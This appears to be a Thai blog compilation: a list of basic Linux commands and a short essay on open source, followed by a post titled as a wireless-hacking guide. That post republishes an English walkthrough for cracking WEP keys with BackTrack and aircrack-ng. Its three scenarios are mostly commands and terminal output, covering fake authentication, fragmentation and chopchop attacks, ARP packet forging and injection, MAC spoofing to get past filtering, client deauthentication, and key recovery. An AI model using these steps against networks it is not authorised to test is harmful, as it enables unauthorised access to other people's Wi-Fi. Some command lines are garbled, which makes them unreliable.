คำสั่ง Linux Redhat and Linux Fedora เบื้องต้น

คำสั่ง Linux Radhat and Linux Fedora เบื้องต้น

ls : : : แสดงรายชื่อแฟ้มในห้องปัจจุบัน หรือห้องอื่น ๆ ที่ต้องการ
chmod : : : เปลี่ยนสถานะของแฟ้มเช่น Read Write eXecute
man : : : แสดงรายละเอียดของคำสั่ง (Manual)
mkdir, rmdir, cd : : : คำสั่งเกี่ยวกับ Directory หรือ Folder เพื่อสร้าง หรือลบ
pico : : : editor ยอดฮิตใน Linux ที่ต้องมากับ Pine เป็น Text mode ที่ใช้ง่ายที่สุด
emacs : : : editor ยอดฮิตใน Linux ใช้ยากกว่า pico นิดหน่อย
vi : : : editor ยอดฮิตใน Linux ที่ใช้ยากที่สุด
id, finger, who, w : : : โปรแกรมตรวจสอบ username ของตนเอง
cat : : : แสดงข้อมูลในแฟ้มเหมือนคำสั่ง type ในระบบ DOS
ifconfig : : : ดู IP หรือเพิ่ม IP เข้าไปใน linux server
netstat : : : แสดงสถานะของเครือข่าย
ervicse : : : แสดงสถานะโปรแกรมที่เปิดให้บริการ
xinetd : : : แสดงบริการที่เปิดใต้โปรแกรม xinetd
whereis : : : ค้นหาแฟ้มที่ต้องการว่าอยู่ที่ห้องใด
cp, rm, mv : : : จัดการแฟ้มเช่น คัดลอก ลบ และย้าย
ping : : : ตรวจสอบ ip และการเชื่อมต่อ internet
env : : : แสดงค่า environment ปัจจุบัน
lynx : : : Text browser ที่ใช้งานง่าย ใช้ดู source หรือ download ได้
nslookup : : : แสดงข้อมูลเกี่ยวกับ name server จาก ip หรือ domain name
tail : : : แสดงส่วนท้ายของแฟ้มที่มีขนาดใหญ่ ต้องข้ามกับ cat ที่ดูตั้งแต่เริ่มแฟ้ม
telnet : : : ใช้ติดต่อเข้า server ต่าง ๆ ตาม port ที่ต้องการ

http://www.thaiall.com/isinthai/index.php?q=0702

Open Source คืออะไร

Open Source คืออะไร !

เป็นที่ทราบกันดีอยู่แล้วว่าการใช้งาน Software หรือโปรแกรมต่าง ๆ นั้นต้องจ่ายค่าลิขสิทธิ์ให้กับผู้ผลิต Software ซึ่งมีค่าใช้จ่ายค่อนข้างสูง เนื่องจาก Software เหล่านั้นมีความสามารถที่สมราคา ด้วยปัจจัยหลาย ๆ อย่างทำให้มีการพัฒนา Software ที่เรียกว่า Open Source ขึ้นมา โดยมีหลักการสำคัญอยู่ที่การแจกจ่าย และสามารถใช้งานได้ฟรี ไม่ว่าจะเป็นเพียงผู้ใช้งาน หรือเป็นผู้พัฒนาโปรแกรม ก็สามารถนำโปรแกรมประเภทนี้ไปใช้งาน หรือนำไปพัฒนาเพิ่มเติมได้ หากจะถามว่า Open Source มีลิขสิทธิ์หรือไม่ คำตอบก็คือ Open Source นั้นมีลิขสิทธิ์แบบ GNU ซึ่งเมื่อได้อ่านแล้วก็รู้สึกสบายใจว่าลิขสิทธิ์ของ Open Source นั้นเน้นที่การนำไปใช้งาน และแจกจ่ายได้ฟรีนั่นเอง ปัจจุบันมีผู้พัฒนา Software Open source ขึ้นอย่างมากมาย เช่น OpenOffice, 7zip, Gimp, PDF Creator เป็นต้น ทำให้เราสามารถ Download Software มาใช้งานได้อย่างสบาย และ Software เหล่านี้ยังมีการพัฒนาอย่างต่อเนื่องอีกด้วย ทำให้เราได้ใช้ Software รุ่นใหม่ ๆ อยู่เสมอ หากจะถามว่า แล้ว Open Source กับ Freeware แตกต่างกันไหม สำหรับความคิดของผม ๆ ว่ามันแตกต่าง ยกตัวอย่างเช่น Freeware อาจจะมีการจำกัดความสามารถ โดยปล่อยให้ Download ให้ใช้งานได้ฟรี แต่ถ้าอยากได้โปรแกรมที่มีความสามารถแบบเต็มความสามารถ ต้องจ่ายสตางค์ซื้อ แต่สำหรับ Open Source นั้นไม่มีข้อจำกัดในส่วนนี้ เรียกได้ว่า Download มาอย่างไรก็สามารถใช้งานได้อย่างเต็มที่ ตามความสามารถของเวอร์ชั่นนั้น และเมื่อครบรอบระยะเวลาของการ Update ก็จะมีเวอร์ชั่นใหม่ออกมาให้เราใช้งานอยู่เสมอ ๆ สำหรับเทคนิคที่ผมจะเสริมให้สำหรับการค้นหา Open Source มาใช้งานก็คือ ให้พิมพ์ชนิดของ Software ที่ต้องการ และตามด้วยคำว่า Open Source ในเว็บไซต์ Google แล้วทำการค้นหา เช่น ผมต้องการ Software ที่ใช้สำหรับบันทึกภาพบนหน้าจอคอมพิวเตอร์ ผมก็พิมพ์คำว่า open source screen capture เป็นต้น เพียงเท่านี้ Google ก็จะแสดงเว็บไซต์ต่าง ๆ ที่เกี่ยวข้องขึ้นมาให้เราเลือกอย่างมากมาย ติดตามอ่านบทความการใช้งาน Open Source

วิธีแฮคไวเลส (เบื้องต้นบน OS Linux Backtrack )

 

เว็บโหลด OShttp://www.backtrack-linux.org/

คำสั่งที่ต้องใช้ใน aircrack-ng

Startx
/etc/init.d/networking start
airmon-ng
airmon-ng stop [wireless card name]
airmon-ng start [wireless card name]
airmon-ng
airodump-ng [wireless card name]
ctrl c
airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
aireplay-ng -1 0 a [bssid] [wireless card name]
aireplay-ng -3 b [bssid][wireless card name]
ctrl + c
dir
aircrack-ng [filename]

 

Scenario 3 : Cracking WEP with Backtrack and aircrack-ng (แฮกไวเลสสำหรับผู้ที่อ่านภาษาอังกฤษเป็นเท่านั้น !)

Scenario 3 : WEP encryption, Shared Key Authentication instead of OPEN

What if the AP does not use OPEN authentication, but uses Shared Key Authentication ?

Well, aireplay-ng –fakeauth will not just work…  It will detect that Open System is cannot be used, and will then attempt to get the shared key. In fact, it needs to see a client successfully authenticate to the AP before it will be able to grab the SKA and use it.

20:15:01  Sending Authentication Request (Open System) [ACK]
20:15:01  Switching to shared key authentication

 

As long as a client has not associated, the AUTH column in airodump-ng will stay empty. When Shared Key is used, and after a client has connected, the column will state SKA. From that point forward, you can use the Shared Key to do fake auth.

First, launch airodump-ng and write all data to disk  (airodump-ng –w /tmp/filesout ath1)

When a client authenticates, airodump-ng will write a .xor file to disk, containing the PRGA xor bits. Of course, if it takes too long before a client authenticates, you can try to deauthenticate an existing client (if any)

If the .xor file is saved on disk, you can attempt to do the fake auth by providing the .xor file :

root@bt:/tmp# aireplay-ng -1 0 -e TestNet -y /tmp/filesout.xor -a 00:19:5B:52:AD:F7 ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
20:23:58  Waiting for beacon frame (BSSID: 00:19:5B:52:AD:F7) on channel 10

20:23:58  Sending Authentication Request (Shared Key) [ACK]
20:23:58  Authentication 1/2 successful
20:23:58  Sending encrypted challenge. [ACK]
20:23:58  Authentication 2/2 successful
20:23:58  Sending Association Request [ACK]
20:23:58  Association successful :-)  (AID: 1)

 

Hooray – from this point forward, you can use the same techniques as explained in the first 2 scenario’s

 

Note : if the number of Packets stops increasing, just stop sending packets, do a re-associate (fake auth) and start sending packets again. In most cases, this will kick off the data packet increase again.

ที่มา : https://www.corelan.be/index.php/2009/02/20/cheatsheet-cracking-wep-with-backtrack-4-and-aircrack-ng/

Scenario 2 : Cracking WEP with Backtrack and aircrack-ng (แฮกไวเลสสำหรับผู้ที่อ่านภาษาอังกฤษเป็นเท่านั้น !)

Scenario 2 : WEP encryption, OPEN Authentication, MAC filtering enabled (?), no active clients

Ok, first of all, if MAC filtering is enabled and there are no active clients, it’s going to be difficult to get a valid MAC address that is allowed to associate with the AP.   I guess it makes the wireless network a bit safer, but a whole lot more useless as well. :-)

So assuming that there is no MAC filtering, or you have managed to get a valid MAC address of a client (earlier, or by bruteforcing mac addresses :) ), then this is what you can do if there are no active clients connected to the network at the time of the audit :

  • Put wireless interface in monitor mode (airmon-ng start wireless_interface)
  • Find wireless network (BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
  • Associate with AP (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a <BSSID> –h <local MAC> –e ESSID wireless_int_in_monitormode>)
  • Use fragmentation or chopchop attack and generate a valid custom arp packet (aireplay-ng –5 –b <BSSID> wireless_int_in_monitormode,aireplay-ng –4 –b <BSSID> –h <Local MAC> wireless_int_in_monitor_mode, packetforge-ng…)
  • Inject custom ARP packet (aireplay-ng –2 –r custom_arp_packet.file wireless_int_in_monitor_mode)
  • Save IVs to file, crack the key, throw a partyThe first 3 steps are similar to scenario 1. I’ll assume that you are able to associate yourself with the AP (either using any MAC or using a valid MAC from the MAC filter list) and that you have your airodump-ng running, capturing ivs to a file.Let’s try the fragmentation attack first (option –5)
    root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    18:29:43  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    18:29:43  Waiting for a data packet...

    Wait until you are asked whether you want to use a packet that was captured. Review the packet (BSSID, dest mac, source mac) and make sure the packet comes from the Access Point.

    Sometimes you will need to try a couple of times before the system will respond correctly

    root@bt:~# aireplay-ng -5 -b 00:14:BF:89:9C:D3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    18:48:14  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    18:48:14  Waiting for a data packet...
    Read 3076 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 9032 f342 c600 ec3e bc5d  .......2.B...>.]
            0x0020:  49b8 962e 631e f086 80e5 4337 dd4f 37a4  I...c.....C7.O7.
            0x0030:  9e06 e370 1feb eb0e c38b 76d6 9ad7 8118  ...p......v.....
            0x0040:  24e1 5d7e 5399 2fea 234c 7d1b 668c 23b5  $.]~S./.#L}.f.#.
            0x0050:  fd83 d7de 7cf8 09df 85ba b692 8a62 a5bd  ....|........b..
            0x0070:  d00e a197 2ca3 6446 60e6 0fc7 ab67 64d6  ....,.dF`....gd.
            0x0080:  edab 525f 8cf1 9645 dadf cbce c12f 439d  ..R_...E...../C.
            0x0090:  b0c3 6b7a 011e 3ced 00d5 2ed3 696c 4aae  ..kz..<.....ilJ.
            0x00a0:  638d 122a e307 9e62 4ed7 3475 2679 6168  c..*...bN.4u&yah
            0x00b0:  f465 4811 b31c 3d5e 0129 dc79 07c0 805a  .eH...=^.).y...Z
            0x00c0:  22df 4e38 bb98 6136 2177 7062 8dea 8a4a  ".N8..a6!wpb...J
            0x00d0:  492d 62a6 52bc 2ef7 41f0 18b1 e12d 409d  I-b.R...A....-@.
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-184930.cap
    18:50:11  Data packet found!
    18:50:11  Sending fragmented packet
    18:50:11  Got RELAYED packet!!
    18:50:11  Trying to get 384 bytes of a keystream
    18:50:11  Got RELAYED packet!!
    18:50:11  Trying to get 1500 bytes of a keystream
    18:50:12  Got RELAYED packet!!
    Saving keystream in fragment-0219-185011.xor
    Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

    You should get “Got RELAYED packet!!” in order to be successfull.

    Ok, now you can use the .xor file to generate and ARP packet that can be injected and will help to get IVs.  In this command, you will have to specify the local MAC address (so make sure to use the correct MAC address. If you are using a fake MAC, then use this fake mac in the commandk)

    root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3
      -h 00:1C:BF:90:5B:A3 -k 255.255.255.255 -l 255.255.255.255
      -y fragment-0219-185011.xor -w /tmp/my-arp-request
    Wrote packet to: /tmp/my-arp-request

    (I’ve put the command on 3 lines to improve readability – just make sure to put everything in one line)

    Ok, now the arp packet is ready. Let’s inject it into the network

    root@bt:~# aireplay-ng -2 -r /tmp/my-arp-request ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    
            Size: 68, FromDS: 0, ToDS: 1 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  FF:FF:FF:FF:FF:FF
             Source MAC  =  00:1C:BF:90:5B:A3
    
            0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.
            0x0010:  ffff ffff ffff 8001 0043 c600 1c3b d684  .........C...;..
            0x0020:  8ffc a071 7759 1075 474b caae b7a6 5ad2  ...qwY.uGK....Z.
            0x0040:  5c4c 2447                                \L$G
    
    Use this packet ?

    Enter “y” and see if the data packets are now increasing. (switch to the airodump-ng output)

    In most cases, this attack works well. However, if you have not been able to successfully get a .xor file using this procedure, you can use the chopchop attack as well :

    root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    19:04:26  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    Read 2938 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 201a 2639 c800 8354 3936  ...... .&9...T96
            0x0020:  d88c 8958 fedb 0f68 330c 78f9 944f 7840  ...X...h3.x..Ox@
            0x0030:  1871 95b8 2d56 8a21 0af2 8b1e 0953 4e67  .q..-V.!.....SNg
            0x0040:  5c10 a065 99bb 907b 3a84 8cd0 d159 e4ce  \..e...{:....Y..
            0x0050:  83da 1e42 5630 b0e6 0171 0fcb 3ad7 57ab  ...BV0...q..:.W.
            0x0060:  0e5f f49b ca99 b107 2d1d ab9c 039f ad7c  ._......-......|
            0x0070:  0729 627c 838e f247 b581 771d 7e3f bc3c  .)b|...G..w.~?.<
            0x0080:  4068 d8b3 0300 0da4 90b1 a0b2 046c 6920  @h...........li
            0x00a0:  11fc 073c bcb3 f8ed a240 08c2 d706 adf3  ...<.....@......
            0x00b0:  9ac9 3787 b4cb 8994 4a94 5969 b741 765d  ..7.....J.Yi.Av]
            0x00c0:  4cd5 f2dd 14ac ccfe bca0 d769 aa37 cbc1  L..........i.7..
            0x00d0:  9577 bad9 7a1d 2a60 4a80 54bc 418d df57  .w..z.*`J.T.A..W
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-190538.cap
    
    Sent 241 packets, current guess: F0...
    
    Failure: got several deauthentication packets from the AP - try running
    another aireplay-ng with attack "-1" (fake open-system authentication).

    if you get this message, try running a aireplay-ng –fakeauth while running the chopchop attack.

    session 1 : start the fakeauth

    root@bt:~# aireplay-ng --fakeauth 6000 -o 1 -a 00:14:BF:89:9C:D3 -e TestNet ath1
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    19:08:49  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    
    19:08:49  Sending Authentication Request (Open System) [ACK]
    19:08:49  Authentication successful
    19:08:49  Sending Association Request [ACK]
    19:08:49  Association successful :-)  (AID: 1)
    19:09:04  Sending keep-alive packet [ACK]
    19:09:04  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:07  Sending Authentication Request (Open System) [ACK]
    19:09:07  Authentication successful
    19:09:07  Sending Association Request [ACK]
    19:09:07  Association successful :-)  (AID: 1)
    19:09:22  Sending keep-alive packet [ACK]
    19:09:22  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:25  Sending Authentication Request (Open System) [ACK]
    19:09:25  Authentication successful
    19:09:25  Sending Association Request [ACK]
    19:09:25  Association successful :-)  (AID: 1)
    19:09:40  Sending keep-alive packet [ACK]
    19:09:40  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:43  Sending Authentication Request (Open System) [ACK]
    19:09:43  Authentication successful
    19:09:43  Sending Association Request [ACK]
    19:09:43  Association successful :-)  (AID: 1)
    19:09:45  Got a deauthentication packet! (Waiting 3 seconds)
    
    19:09:48  Sending Authentication Request (Open System) [ACK]
    19:09:48  Authentication successful
    19:09:48  Sending Association Request [ACK]
    19:09:48  Association successful :-)  (AID: 1)
    19:10:03  Sending keep-alive packet [ACK]
    19:10:18  Sending keep-alive packet [ACK]
    19:10:33  Sending keep-alive packet [ACK]
    19:10:48  Sending keep-alive packet [ACK]
    19:11:03  Sending keep-alive packet [ACK]

    session 2 : run chopchop while fakeauth is running

    Enter “y” to select a packet. Wait until the process has reached 100% and you should have your .xor file. This process can take multiple minutes. Don’t worry, as long as it keeps running, you’re fine.

    root@bt:~# aireplay-ng -4 -b 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3 ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    19:08:55  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
    Read 1841 packets...
    
            Size: 352, FromDS: 1, ToDS: 0 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  01:00:5E:7F:FF:FA
             Source MAC  =  00:14:BF:89:9C:D1
    
            0x0000:  0862 0000 0100 5e7f fffa 0014 bf89 9cd3  .b....^........
            0x0010:  0014 bf89 9cd1 4003 3c39 c800 a4b4 4b96  ......@.<9....K.
            0x0020:  94d4 525e b994 7f52 f494 6cd9 2e85 9a96  ..R^..R..l.....
            0x0030:  fd15 2a16 684e da3b 2296 c849 4660 2b06  ..*.hN.;"..IF`+.
            0x0050:  029d a52b f305 a77c bae0 8013 1887 5cd9  ...+...|......\.
            0x0060:  26ee ddec 5316 8065 bb06 14ec a7a6 005e  &...S..e.......^
            0x0070:  c6b5 2b42 e618 6ab1 475e 5bdd 73c9 ff74  ..+B..j.G^[.s..t
            0x0080:  d312 6c5f 9c95 f185 6967 51ca 180d b844  ..l_....igQ....D
            0x0090:  bb62 190a 4e53 3d1b e4cd bc51 37d8 feaf  .b..NS=....Q7...
            0x00a0:  9579 02e3 fe9f 6c6a 9776 eff1 7c75 fb10  .y....lj.v..|u..
            --- CUT ---
    
    Use this packet ? y
    
    Saving chosen packet in replay_src-0219-190940.cap
    
    Offset  351 ( 0% done) | xor = 4C | pt = 88 |  637 frames written in 12991ms
    Offset  350 ( 0% done) | xor = A0 | pt = F0 |   26 frames written in   530ms
    Offset  349 ( 0% done) | xor = 0D | pt = 6E |  123 frames written in  2502ms
    Offset  348 ( 0% done) | xor = D7 | pt = C3 |  174 frames written in  3555ms
    Offset  347 ( 1% done) | xor = C7 | pt = 0A |   36 frames written in   734ms
    Offset  346 ( 1% done) | xor = 92 | pt = 0D |  236 frames written in  4800ms
    Offset  345 ( 1% done) | xor = 1C | pt = 0A |  139 frames written in  2820ms
    Offset  344 ( 2% done) | xor = 62 | pt = 0D |   77 frames written in  1576ms
    Offset  343 ( 2% done) | xor = 18 | pt = 65 |  226 frames written in  4587ms
    Offset  342 ( 2% done) | xor = 18 | pt = 63 |  133 frames written in  2718ms
    Offset  341 ( 3% done) | xor = 22 | pt = 69 |  133 frames written in  2722ms
    Offset  340 ( 3% done) | xor = D4 | pt = 76 |  205 frames written in  4171ms
    Offset  339 ( 3% done) | xor = 31 | pt = 65 |   72 frames written in  1465ms
    
    Offset   59 (91% done) | xor = 25 | pt = 6C |  108 frames written in  2196ms
    Offset   58 (92% done) | xor = CF | pt = 07 |   46 frames written in   938ms
    Offset   57 (92% done) | xor = 5A | pt = CC |   20 frames written in   420ms
    Offset   56 (92% done) | xor = 2B | pt = 09 |  164 frames written in  3346ms
    Offset   55 (93% done) | xor = C1 | pt = FA |   10 frames written in   204ms
    Offset   54 (93% done) | xor = 25 | pt = FF |  257 frames written in  5224ms
    Offset   53 (93% done) | xor = B1 | pt = FF |  133 frames written in  2722ms
    Offset   52 (94% done) | xor = 87 | pt = EF |   61 frames written in  1245ms
    Offset   51 (94% done) | xor = 17 | pt = 01 |  175 frames written in  3563ms
    Offset   50 (94% done) | xor = 2C | pt = 06 |  205 frames written in  4171ms
    Offset   49 (94% done) | xor = BD | pt = A8 |  241 frames written in  4909ms
    Offset   48 (95% done) | xor = 3D | pt = C0 |  179 frames written in  3653ms
    Offset   47 (95% done) | xor = 87 | pt = 11 |   36 frames written in   735ms
    Offset   46 (95% done) | xor = 6C | pt = F6 |  180 frames written in  3657ms
    Offset   45 (96% done) | xor = 94 | pt = 11 |  199 frames written in  4073ms
    Offset   44 (96% done) | xor = 2F | pt = 01 |  236 frames written in  4812ms
    Offset   43 (96% done) | xor = D9 | pt = 00 |  103 frames written in  2085ms
    Offset   42 (97% done) | xor = 6C | pt = 00 |   87 frames written in  1783ms
    Offset   41 (97% done) | xor = 94 | pt = 00 |   98 frames written in  1975ms
    Offset   40 (97% done) | xor = F8 | pt = 0C |   20 frames written in   420ms
    Offset   39 (98% done) | xor = 6A | pt = 38 |  113 frames written in  2306ms
    Offset   38 (98% done) | xor = 7E | pt = 01 |  231 frames written in  4698ms
    Offset   37 (98% done) | xor = 94 | pt = 00 |  236 frames written in  4799ms
    Offset   36 (99% done) | xor = FC | pt = 45 |   20 frames written in   420ms
    Offset   35 (99% done) | xor = 5E | pt = 00 |  231 frames written in  4701ms
    Offset   34 (99% done) | xor = 5A | pt = 08 |  148 frames written in  3032ms
    
    Saving plaintext in replay_dec-0219-192452.cap
    Saving keystream in replay_dec-0219-192452.xor
    
    Completed in 907s (0.35 bytes/s)

    Follow the same steps that were used when we created a .xor file using the fragmentation attack  :  create an arp packet (packetforge-ng), inject the packet (aireplay-ng), capture the IVs and crack the key.

    root@bt:~# packetforge-ng -0 -a 00:14:BF:89:9C:D3 -h 00:1C:BF:90:5B:A3
       -k 255.255.255.255 -l 255.255.255.255
       -y replay_dec-0219-192452.xor -w /tmp/my-2nd-arp-request
    Wrote packet to: /tmp/my-2nd-arp-request

    Inject :

    root@bt:~# aireplay-ng -2 -r /tmp/my-2nd-arp-request ath1
    For information, no action required: Using gettimeofday() instead of /dev/rtc
    No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
    
            Size: 68, FromDS: 0, ToDS: 1 (WEP)
    
                  BSSID  =  00:14:BF:89:9C:D3
              Dest. MAC  =  FF:FF:FF:FF:FF:FF
             Source MAC  =  00:1C:BF:90:5B:A3
    
            0x0000:  0841 0201 0014 bf89 9cd3 001c bf90 5ba3  .A............[.
            0x0010:  ffff ffff ffff 8001 3c39 c800 a4b4 4b96  ........<9....K.
            0x0020:  94d4 5258 fc95 766a fe90 6cd8 2f88 d317  ..RX..vj..l./...
            0x0040:  5994 1ab1                                Y...
    
    Use this packet ? y

    Verify that the number of #Data packets increases fast, wait a couple of minutes and start cracking

Scenario 1 : Cracking WEP with Backtrack and aircrack-ng (แฮกไวเลสสำหรับผู้ที่อ่านภาษาอังกฤษเป็นเท่านั้น !)

Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network

The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.

In this scenario, I have 2 clients that are currently connected to the wireless network.

My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122).  Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.

The process of cracking the wep key for this scenario is

  • Put wireless interface in monitor mode (airmon-ng start wireless_interface)
  • Find wireless network (channel, BSSID and ESSID)  (airodump-ng wireless_interface_in_monitor_mode)
  • Find a valid / connected client (MAC Address)
  • Wait until client is gone and change mac address to valid client MAC  (airmon-ng stop wireless_intifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
  • Associate with AP and inject ARP packets (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a <BSSID> –h <local MAC> –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b <BSSID> wireless_int_in_monitor_mode)
  • If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC wireless_int_in_monitor_mode)
  • Save IV’s to file and crack the key (airocrack-ng –0 –b BSSID /tmp/filename.ivs)

In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not jump ahead.

First, list the adapters :

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

The wifi0 adapter is the proxim pcmcia card.  wlan0 is the Dlink USB adapter.  For this test, we’ll use the proxim card (wifi0).  The mac address of this card is 00:20:A6:4F:A9:41  (you can get the mac address by running ‘ifconfig wifi0’)

First, put the card in monitor mode :

root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :

root@bt:~# airodump-ng ath1

CH  1 ][ Elapsed: 1 min ][ 2009-02-19 14:05                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                    

 00:14:BF:89:9C:D3   34      104        0    0  11  54 . WEP  WEP         TestNet                                                   

 BSSID              STATION            PWR   Rate   Lost  Packets  Probe                                                           

 00:14:BF:89:9C:D3  00:1C:BF:90:5B:A3   55   0- 1      0       12  TestNet
 00:14:BF:89:9C:D3  00:19:5B:52:AD:F7   71   0- 1     32      441  TestNet

Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.

Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3

First, run airodump-ng again, but set it to look at channel 11.  This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :

root@bt:/# airodump-ng --channel 11 ath1

Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :

root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)
14:14:50  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:14:50  Sending Authentication Request (Open System) [ACK]
14:14:50  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

14:14:53  Sending Authentication Request (Open System) [ACK]
14:14:53  AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)

Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)

First, kill the airodump-ng process.  Take wifi0 (ath1) out of monitoring mode :

root@bt:~# airmon-ng stop ath1

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

root@bt:~# airmon-ng

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)

Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :

root@bt:~# ifconfig wifi0 down
root@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0
Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)
Faked MAC:   00:1c:bf:90:5b:a3 (unknown)
root@bt:~# ifconfig wifi0 up
root@bt:~# airmon-ng start wifi0

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
wlan0           Ralink 2573 USB rt73usb - [phy0]
ath0            Atheros         madwifi-ng VAP (parent: wifi0)
ath1            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

root@bt:~# ifconfig ath1
ath1      Link encap:UNSPEC  HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:106 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:9448 (9.4 KB)  TX bytes:0 (0.0 B)

Ok, looks good

Let’s see if it makes a difference.  Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again

root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:20:19  Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11

14:20:19  Sending Authentication Request (Open System) [ACK]
14:20:19  Authentication successful
14:20:19  Sending Association Request [ACK]
14:20:19  Association successful :-)  (AID: 1)

If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :

aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1

–1 6000 = reauthenticate every 6000 seconds

